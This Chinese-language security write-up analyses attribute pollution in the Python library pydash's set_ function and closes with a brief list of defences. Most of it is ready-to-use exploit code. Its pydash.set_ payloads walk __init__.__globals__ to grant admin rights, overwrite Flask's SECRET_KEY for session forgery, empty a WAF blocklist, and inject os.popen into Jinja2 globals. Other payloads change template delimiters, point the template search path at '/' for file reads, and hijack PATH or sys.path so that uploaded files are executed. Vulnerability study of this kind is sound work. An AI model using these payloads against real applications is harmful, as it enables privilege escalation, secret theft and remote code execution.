pydash原型链污染分析
字数 1185 2025-12-17 12:15:57
Pydash原型链污染漏洞深入分析与利用
漏洞概述
Pydash是著名的JavaScript库Lodash的Python移植版,提供了一系列工具函数来处理数据。该库在旧版本(<6.0.0或某些没有正确过滤的新版)中存在原型链污染漏洞,攻击者可通过恶意构造的路径字符串修改Python对象的魔术属性,从而影响整个Web应用的运行状态。
核心漏洞点
漏洞函数签名
def set_(obj, path, value)
- obj: 目标修改对象(字典或类实例)
- path: 属性访问路径(点分表示法)
- value: 要设置的值
漏洞原理
Pydash没有严格限制对Python魔术属性的访问,攻击者可以通过传入恶意路径(如__init__.__globals__)从普通对象"跳出"当前作用域,修改全局变量、类属性,实现持久化影响。
对象类型分析
1. 字典对象(Dict)
常见于用户上传的JSON数据或配置合并场景:
config = {"theme": "dark", "language": "en"}
pydash.set_(config, "a.b.c", "value")
利用特征:
- 不能直接用
__init__,因为pydash会优先查找名为__init__的key - 需要通过
__class__跳出字典键值对逻辑
利用链示例:
# 从字典跳到dict类,再获取全局属性
pydash.set_(config, "__class__.__init__.__globals__", polluted_value)
2. 类实例(Instance)
常见于ORM模型或用户对象:
user = User(username="test")
pydash.set_(user, "profile.age", 25)
利用特征:
- 方法直接挂载在对象属性上
- 可直接从
__init__开始利用
利用链示例:
pydash.set_(user, "__init__.__globals__", polluted_value)
利用类型详解
一、属性篡改与逻辑绕过
1. 污染类属性
利用Python类变量共享特性修改所有实例的默认值:
攻击场景:用户权限检查绕过
# 修改User类的is_admin属性
pydash.set_(user_obj, "__class__.is_admin", True)
# 后续所有User实例都将具有管理员权限
2. 劫持Flask配置
控制Flask应用的配置系统:
SECRET_KEY篡改:
# 获取SECRET_KEY用于session伪造
pydash.set_(obj, "__init__.__globals__.__builtins__.app.config.SECRET_KEY", "malicious_key")
开启调试模式:
# 开启debug模式泄露源码
pydash.set_(obj, "__init__.__globals__.__builtins__.app.config.DEBUG", True)
3. 绕过WAF或内部变量
覆盖全局变量改变程序逻辑:
# 清空黑名单
pydash.set_(obj, "__init__.__globals__.GLOBAL_WAF_BLOCKLIST", [])
二、RCE利用链
1. 污染os.environ劫持命令执行
利用子进程调用实现命令劫持:
# 劫持PATH环境变量
pydash.set_(obj, "__init__.__globals__.os.environ.PATH", "/tmp:/usr/bin")
# 上传恶意可执行文件到/tmp目录
# 当程序执行相对路径命令时,优先执行/tmp下的恶意文件
2. Jinja2模板全局变量污染
修改模板全局变量:
# 向模板全局变量注入恶意函数
pydash.set_(obj, "__init__.__globals__.app.jinja_env.globals.popen", os.popen)
修改模板定界符绕过过滤:
# 改变Jinja2模板变量定界符
pydash.set_(obj, "__init__.__globals__.app.jinja_env.variable_start_string", "[["])
pydash.set_(obj, "__init__.__globals__.app.jinja_env.variable_end_string", "]]")
修改模板加载路径:
# 改变模板搜索路径实现任意文件读取
pydash.set_(obj, "__init__.__globals__.app.jinja_loader.searchpath", ["/"])
3. Python模块导入劫持
污染sys.path:
# 将恶意路径插入sys.path最前面
pydash.set_(obj, "__init__.__globals__.sys.path", ["/tmp"] + sys.path)
# 上传恶意python文件(如json.py)到/tmp目录
# 下次import json时将加载恶意模块
注意事项:
- Python导入机制有缓存优先原则
- 已导入的模块无法通过修改sys.path劫持
- 目标应为懒加载模块或不存在的模块
完整漏洞演示
演示环境设置
from flask import Flask, request
import pydash
app = Flask(__name__)
class User:
is_admin = False
def __init__(self, username):
self.username = username
user_instance = User("test")
config_dict = {"theme": "dark"}
利用示例
1. 污染类属性
# 修改User类的is_admin属性
pydash.set_(user_instance, "__class__.is_admin", True)
# 验证
new_user = User("test2")
print(new_user.is_admin) # 输出: True
2. 劫持Flask配置
# 修改配置变量
pydash.set_(user_instance, "__init__.__globals__.app.config.SHOW_THE_FLAG", True)
3. 绕过WAF
# 清空黑名单
pydash.set_(config_dict, "__class__.__init__.__globals__.GLOBAL_WAF_BLOCKLIST", [])
4. 命令执行劫持
# 污染PATH环境变量
pydash.set_(user_instance, "__init__.__globals__.os.environ.PATH", "/tmp:/usr/bin")
5. Jinja2定界符修改
# 改变模板语法
pydash.set_(user_instance, "__init__.__globals__.app.jinja_env.variable_start_string", "[["])
pydash.set_(user_instance, "__init__.__globals__.app.jinja_env.variable_end_string", "]]")
6. 模块导入劫持
# 污染sys.path
pydash.set_(user_instance, "__init__.__globals__.sys.path", ["/tmp"] + sys.path)
防御措施
- 升级pydash:使用6.0.0及以上版本
- 输入验证:严格过滤用户输入的路径参数
- 沙箱环境:在受限环境中运行不可信代码
- 最小权限原则:避免使用高权限执行敏感操作
- 属性访问控制:限制对魔术属性的访问
总结
Pydash原型链污染漏洞是一个高危安全问题,攻击者可通过精心构造的路径字符串实现从权限提升到远程代码执行的各种攻击。理解漏洞原理和利用技术对于开发安全的Python应用至关重要。